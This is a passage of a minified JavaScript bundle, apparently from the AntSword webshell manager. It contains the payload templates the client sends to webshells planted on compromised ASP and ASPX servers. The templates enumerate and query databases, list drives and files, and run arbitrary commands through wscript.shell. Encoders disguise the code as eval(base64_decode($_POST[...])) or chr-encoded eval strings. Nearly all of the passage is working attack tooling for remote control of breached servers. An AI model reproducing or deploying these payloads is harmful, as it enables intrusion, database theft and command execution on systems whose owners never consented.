SI:Conn.Open ""&bd(Request("'+o.arg1+'"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("'+o.arg2+'"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)'},n(a,o.arg1,"#{hex::conn}"),n(a,o.arg2,"#{hex::table}"),a),query:(s={_:'Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("'+o.arg1+'"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("'+o.arg2+'"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:'},n(s,o.arg1,"#{hex::conn}"),n(s,o.arg2,"#{hex::sql}"),s)}},function(e,t,r){"use strict";function n(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var a,s,o=r(3);e.exports={show_databases:n({_:'var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+o.arg1+'"])));Response.Write("[ADO DATABASE]\\t");Conn.Close();'},o.arg1,"#{base64::conn}"),show_tables:n({_:'var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+o.arg1+'"]));Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String="";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value=="TABLE"){x+=Rs.Fields(2).Value+"\\t";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x);'},o.arg1,"#{base64::conn}"),show_columns:(a={_:'function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+o.arg1+'"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+o.arg2+'"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();'},n(a,o.arg1,"#{base64::conn}"),n(a,o.arg2,"#{base64::table}"),a),query:(s={_:'var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+o.arg2+'"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+o.arg1+'"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();'},n(s,o.arg1,"#{base64::conn}"),n(s,o.arg2,"#{base64::sql}"),s)}},function(e,t){"use strict";e.exports={show_databases:{_:"N",z0:"#{encode}",z1:"#{conn}"},show_tables:{_:"O",z0:"#{encode}",z1:"#{conn}"},show_columns:{_:"P",z0:"#{encode}",z1:"#{conn}"},query:{_:"Q",z0:"#{encode}",z1:"#{conn}",z2:"#{sql}"}}},function(e,t,r){"use strict";function n(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var a,s,o,i=r(2);e.exports={show_databases:(a={_:'Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("'+i.arg1+'")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI=Request("'+i.arg2+'")&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)'},n(a,i.arg1,"#{hex::conn}"),n(a,i.arg2,"#{dbname}"),a),show_tables:n({_:'Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("'+i.arg1+'"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.OpenSchema(20):Rs.MoveFirst:SI="":Do While Not Rs.Eof:If Rs("TABLE_TYPE")="TABLE" Then:SI=SI&Rs("TABLE_NAME")&chr(9):End If:Rs.MoveNext:Loop:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)'},i.arg1,"#{hex::conn}"),show_columns:(s={_:'Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("'+i.arg1+'"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("'+i.arg2+'"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)'},n(s,i.arg1,"#{hex::conn}"),n(s,i.arg2,"#{hex::table}"),s),query:(o={_:'Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("'+i.arg1+'"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("'+i.arg2+'"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:'},n(o,i.arg1,"#{hex::conn}"),n(o,i.arg2,"#{hex::sql}"),o)}},function(e,t,r){"use strict";function n(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var a,s,o,i=r(3);e.exports={show_databases:(a={_:'var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+i.arg1+'"])));Response.Write(Request.Item["'+i.arg2+'"]+"\\t");Conn.Close();'},n(a,i.arg1,"#{base64::conn}"),n(a,i.arg2,"#{dbname}"),a),show_tables:n({_:'var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+i.arg1+'"]));Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String="";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value=="TABLE"){x+=Rs.Fields(2).Value+"\\t";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x);'},i.arg1,"#{base64::conn}"),show_columns:(s={_:'function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+i.arg1+'"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+i.arg2+'"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();'},n(s,i.arg1,"#{base64::conn}"),n(s,i.arg2,"#{base64::table}"),s),query:(o={_:'var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+i.arg2+'"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+i.arg1+'"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();'},n(o,i.arg1,"#{base64::conn}"),n(o,i.arg2,"#{base64::sql}"),o)}},function(e,t,r){(function(t){"use strict";function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}var n=function(){function e(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}return function(t,r,n){return r&&e(t.prototype,r),n&&e(t,n),t}}(),a=function(){function e(n){var a=this;r(this,e),this.opt=n,this.core=this.opt.core,this.manager=this.opt["super"],this.conns={dsn:"Dsn=DsnName;",mysql:"Driver={MySQL};Server=localhost;database=mysql;UID=root;PWD=",access:"Driver={Microsoft Access Driver(*.mdb)};DBQ=c:\\test.mdb",sqlserver:"Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=",sqloledb_1:"Provider=SQLOLEDB.1;User ID=sa;Password=;Initial Catalog=master;Data Source=(local);",sqloledb_1_sspi:"Provider=SQLOLEDB.1;Initial Catalog=master;Data Source=(local);Integrated Security=SSPI;",oracle:"Provider=OraOLEDB.Oracle;Data Source=test;User Id=sys;Password=;Persist Security Info=True;",microsoft_jet_oledb_4_0:"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=c:\\test.mdb"},this.tree=this.manager.list.layout.attachTree(),this.parse(),this.tree.attachEvent("onClick",function(e){e.startsWith("conn::")?a.enableToolbar():a.disableToolbar();var r=e.split("::"),n=r[1].split(":");
a.dbconf=antSword.ipcRenderer.sendSync("shell-getDataConf",{_id:a.manager.opt._id,id:n[0]}),n.length>1?(a.dbconf.database=new t(n[1],"base64").toString(),a.enableEditor()):a.disableEditor()}),this.tree.attachEvent("onDblClick",function(e){var r=e.split("::");if(r.length<2)throw new Error("ID ERR: "+e);switch(r[0]){case"conn":a.getDatabases(r[1]);break;case"database":var n=r[1].split(":");a.getTables(n[0],new t(n[1],"base64").toString());break;case"table":var s=r[1].split(":");a.getColumns(s[0],new t(s[1],"base64").toString(),new t(s[2],"base64").toString());break;case"column":var o=r[1].split(":"),i=new t(o[2],"base64").toString(),c=new t(o[3],"base64").toString(),l="SELECT TOP 20 ["+c+"] FROM ["+i+"] ORDER BY 1 DESC;";a.manager.query.editor.session.setValue(l)}}),this.tree.attachEvent("onRightClick",function(e,t){e.startsWith("conn::")&&(a.tree.selectItem(e),a.tree.callEvent("onClick",[e]),bmenu([{text:"添加配置",icon:"fa fa-plus-circle",action:a.addConf.bind(a)},{divider:!0},{text:"删除配置",icon:"fa fa-remove",action:a.delConf.bind(a)}],t))})}return n(e,[{key:"parse",value:function(){var e=antSword.ipcRenderer.sendSync("shell-findOne",this.manager.opt._id),t=e.database||{};this.tree.deleteChildItems(0);var r=[];for(var n in t)r.push({id:"conn::"+n,text:t[n].type.toUpperCase(),im0:this.manager.list.imgs[0],im1:this.manager.list.imgs[0],im2:this.manager.list.imgs[0]});this.tree.parse({id:0,item:r},"json"),this.disableToolbar(),this.disableEditor()}},{key:"addConf",value:function(){var e=this,t=(+new Date*Math.random()).toString(16).substr(2,8),r=this.manager.win.createWindow(t,0,0,450,300);r.setText("添加配置"),r.centerOnScreen(),r.button("minmax").hide(),r.setModal(!0),r.denyResize();var n=r.attachToolbar();n.loadStruct([{id:"add",type:"button",icon:"plus-circle",text:"添加"},{type:"separator"},{id:"clear",type:"button",icon:"remove",text:"清空"}]);var a=r.attachForm([{type:"settings",position:"label-left",labelWidth:80,inputWidth:280},{type:"block",inputWidth:"auto",offsetTop:12,list:[{type:"combo",label:"数据库类型",readonly:!0,name:"type",options:function(){var t=[];for(var r in e.conns)t.push({text:r.toUpperCase(),value:r});return t}()},{type:"input",label:"连接字符串",name:"conn",required:!0,value:"Dsn=DsnName;",rows:9}]}],!0);a.attachEvent("onChange",function(t,r){"type"===t&&a.setFormData({conn:e.conns[r]})}),n.attachEvent("onClick",function(t){switch(t){case"clear":a.clear();break;case"add":if(!a.validate())return"填写完整！";var n=a.getValues(),t=antSword.ipcRenderer.sendSync("shell-addDataConf",{_id:e.manager.opt._id,data:n});r.close(),toastr.success("添加配置成功!"),e.tree.insertNewItem(0,"conn::"+t,n.type.toUpperCase(),null,e.manager.list.imgs[0],e.manager.list.imgs[0],e.manager.list.imgs[0])}})}},{key:"delConf",value:function(){var e=this,t=this.tree.getSelected().split("::")[1];layer.confirm("确定删除此配置吗？",{icon:2,shift:6,title:"删除配置"},function(r){layer.close(r);var n=antSword.ipcRenderer.sendSync("shell-delDataConf",{_id:e.manager.opt._id,id:t});1===n?(toastr.success("删除配置成功！"),e.tree.deleteItem("conn::"+t),e.disableToolbar(),e.disableEditor()):toastr.error("删除配置失败！<br/>"+n)})}},{key:"getDatabases",value:function(e){var r=this;this.manager.list.layout.progressOn();var n=antSword.ipcRenderer.sendSync("shell-getDataConf",{_id:this.manager.opt._id,id:e});this.core["database_"+n.type].show_databases({conn:n.conn,dbname:["access","microsoft_jet_oledb_4_0"].indexOf(n.type)>-1?n.conn.match(/[\w]+.mdb$/):"database"},function(n){var a=n.split(" ");return 1===a.length&&""===n?(toastr.warning("执行完毕，没有结果返回"),r.manager.list.layout.progressOff()):(r.tree.deleteChildItems("conn::"+e),a.map(function(n){if(n){var a=new t(n).toString("base64");r.tree.insertNewItem("conn::"+e,"database::"+e+":"+a,n,null,r.manager.list.imgs[1],r.manager.list.imgs[1],r.manager.list.imgs[1])}}),void r.manager.list.layout.progressOff())},function(e){toastr.error("获取数据库列表失败！"+e.status||JSON.stringify(e),"ERROR"),r.manager.list.layout.progressOff()})}},{key:"getTables",value:function(e,r){var n=this;this.manager.list.layout.progressOn();var a=antSword.ipcRenderer.sendSync("shell-getDataConf",{_id:this.manager.opt._id,id:e});this.core["database_"+a.type].show_tables({conn:a.conn,dbname:r},function(a){var s=a.split(" "),o=new t(r).toString("base64");n.tree.deleteChildItems("database::"+e+":"+o),s.map(function(r){if(r){var a=new t(r).toString("base64");n.tree.insertNewItem("database::"+e+":"+o,"table::"+e+":"+o+":"+a,r,null,n.manager.list.imgs[2],n.manager.list.imgs[2],n.manager.list.imgs[2])}}),n.manager.list.layout.progressOff()})}},{key:"getColumns",value:function(e,r,n){var a=this;this.manager.list.layout.progressOn();var s=antSword.ipcRenderer.sendSync("shell-getDataConf",{_id:this.manager.opt._id,id:e});this.core["database_"+s.type].show_columns({conn:s.conn,table:"oracle"===s.type?"SELECT * FROM (SELECT A.*,ROWNUM N FROM "+n+" A) WHERE N=1":"SELECT TOP 1 * FROM "+n},function(o){var i=o.split(" "),c=new t(r).toString("base64"),l=new t(n).toString("base64");a.tree.deleteChildItems("table::"+e+":"+c+":"+l),i.map(function(r){if(r){var n=new t(r.split(" ")[0]).toString("base64");a.tree.insertNewItem("table::"+e+":"+c+":"+l,"column::"+e+":"+c+":"+l+":"+n,r,null,a.manager.list.imgs[3],a.manager.list.imgs[3],a.manager.list.imgs[3])}}),a.manager.query.editor.session.setValue("oracle"===s.type?"SELECT * FROM (SELECT A.*,ROWNUM N FROM "+n+" A ORDER BY 1 DESC) WHERE N>0 AND N<=20":"SELECT TOP 20 * FROM "+n+" ORDER BY 1 DESC;"),a.manager.list.layout.progressOff()})}},{key:"execSQL",value:function(e){var t=this;this.manager.query.layout.progressOn(),this.core["database_"+this.dbconf.type].query({conn:this.dbconf.conn,sql:e},function(e){t.updateResult(e),t.manager.query.layout.progressOff()},function(e){console.error(e)})}},{key:"updateResult",value:function(e){var t=e.split("\n");if(t.length<2)return console.log("数据不正确");var r=t[0].split(" | ");if(1===r.length)return toastr.warning("没有查询结果");"\r"===r[r.length-1]&&r.pop(),t.shift();var n=[];t.map(function(e){var t=e.split(" | ");n.push(t)}),n.pop();var a=this.manager.result.layout.attachGrid();a.clearAll(),a.setHeader(r.join(",").replace(/,$/,"")),a.setColSorting("str,".repeat(r.length).replace(/,$/,"")),a.setInitWidths("*"),a.setEditable(!0),a.init();for(var s=[],o=0;o<n.length;o++)s.push({id:o+1,data:n[o]});a.parse({rows:s},"json")}},{key:"disableToolbar",value:function(){this.manager.list.toolbar.disableItem("del")}},{key:"enableToolbar",value:function(){this.manager.list.toolbar.enableItem("del")}},{key:"disableEditor",value:function(){var e;["exec","clear"].map((e=this.manager.query.toolbar,this.manager.query.toolbar.disableItem).bind(e)),this.manager.query.editor.setReadOnly(!0)}},{key:"enableEditor",value:function(){var e;["exec","clear"].map((e=this.manager.query.toolbar,this.manager.query.toolbar.enableItem).bind(e)),this.manager.query.editor.setReadOnly(!1)}}]),e}();e.exports=a}).call(t,r(1).Buffer)},function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=["GBK","UTF8","BIG5","GB2312","Euc-KR","Euc-JP","Shift_JIS","ISO-8859-1","Windows-874","Windows-1251"];t["default"]=r},function(e,t,r){(function(t){"use strict";e.exports=function(e,r){var n="_0x"+Math.random().toString(16).substr(2);return r[n]=new t(r._).toString("base64"),r[e]="eval(base64_decode($_POST["+n+"]));",delete r._,r}}).call(t,r(1).Buffer)},function(e,t){"use strict";e.exports=function(e,t){var r=function(e){for(var t=[],r=0;r<e.length;)t.push(e[r].charCodeAt()),r++;return"eVAl(cHr("+t.join(").ChR(")+"));"};return t[e]=r(t._),delete t._,t}},function(e,t){"use strict";e.exports={info:'Dim S:SET C=CreateObject("Scripting.FileSystemObject"):If Err Then:S="ERROR:// "&Err.Description:Err.Clear:Else:S=Server.Mappath(".")&chr(9):For Each D in C.Drives:S=S&D.DriveLetter&chr(58):Next:End If:Response.Write(S)'}},function(e,t,r){"use strict";function n(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var a,s=r(2);e.exports={exec:(a={_:'Set X=CreateObject("wscript.shell").exec(""""&bd(Request("'+s.arg1+'"))&""" /c """&bd(Request("'+s.arg2+'"))&""""):If Err Then:S="[Err] "&Err.Description:Err.Clear:Else:O=X.StdOut.ReadAll():E=X.StdErr.ReadAll():S=O&E:End If:Response.write(S)'},n(a,s.arg1,"#{hex::bin}"),n(a,s.arg2,"#{hex::cmd}"),a)}},function(e,t,r){"use strict";e.exports=r(5)},function(e,t,r){"use strict";e.exports=r(8)},function(e,t,r){"use strict";e.exports=r(5)},function(e,t,r){"use strict";function n(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var a,s,o=r(2);e.exports={show_databases:n({_:'Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("'+o.arg1+'")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)'},o.arg1,"#{hex::conn}"),show_tables:n({_:'Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("'+o.arg1+'"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.Execute("SELECT TABLE_NAME FROM ALL_TABLES"):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Do While Not(Rs.Eof Or Rs.Bof):SI=SI&Rs(0)&chr(9):Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)'},o.arg1,"#{hex::conn}"),show_columns:(a={_:'Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("'+o.arg1+'"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("'+o.arg2+'"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)'},n(a,o.arg1,"#{hex::conn}"),n(a,o.arg2,"#{hex::table}"),a),query:(s={_:'Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("'+o.arg1+'"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("'+o.arg2+'"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:'},n(s,o.arg1,"#{hex::conn}"),n(s,o.arg2,"#{hex::sql}"),s)}},function(e,t,r){"use strict";e.exports=r(5)},function(e,t,r){"use strict";e.exports=r(5)},function(e,t,r){"use strict";function n(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var a,s,o,i=r(2);e.exports={show_databases:n({_:'Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("z1")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open "select [name] from master.dbo.sysdatabases order by 1",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Do While Not(Rs.Eof Or Rs.Bof):SI=SI&Rs(0)&chr(9):Rs.MoveNext:Loop:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)'},i.arg1,"#{hex::conn}"),show_tables:(a={_:'Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("z1"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.Execute("USE ["&Request("z2")&"];SELECT [name] FROM sysobjects WHERE (xtype=\'U\') ORDER BY 1"):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Do While Not(Rs.Eof Or Rs.Bof):SI=SI&Rs(0)&chr(9):Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)'},n(a,i.arg1,"#{hex::conn}"),n(a,i.arg2,"#{dbname}"),a),show_columns:(s={_:'Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("'+i.arg1+'"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("'+i.arg2+'"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)'},n(s,i.arg1,"#{hex::conn}"),n(s,i.arg2,"#{hex::table}"),s),query:(o={_:'Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("'+i.arg1+'"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("'+i.arg2+'"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:'},n(o,i.arg1,"#{hex::conn}"),n(o,i.arg2,"#{hex::sql}"),o)}},function(e,t,r){"use strict";function n(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var a,s,o,i,c,l,u=r(2);e.exports={dir:n({_:'Dim RR:RR=bd(Request("'+u.arg1+'")):Function FD(dt):FD=Year(dt)&"-":If Len(Month(dt))=1 Then:FD = FD&"0":End If:FD=FD&Month(dt)&"-":If Len(Day(dt))=1 Then:FD=FD&"0":End If:FD=FD&Day(dt)&" "&FormatDateTime(dt,4)&":":If Len(Second(dt))=1 Then:FD=FD&"0":End If:FD=FD&Second(dt):End Function:SET C=CreateObject("Scripting.FileSystemObject"):Set FO=C.GetFolder(""&RR&""):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:Else:For Each F in FO.subfolders:Response.Write F.Name&chr(47)&chr(9)&FD(F.DateLastModified)&chr(9)&chr(48)&chr(9)&C.GetFolder(F.Path).attributes&chr(10):Next:For Each L in FO.files:Response.Write L.Name&chr(9)&FD(L.DateLastModified)&chr(9)&L.size&chr(9)&C.GetFile(L.Path).attributes&chr(10):Next:End If'},u.arg1,"#{hex::path}"),"delete":n({_:'Dim P:P=bd(Request("'+u.arg1+'")):Set 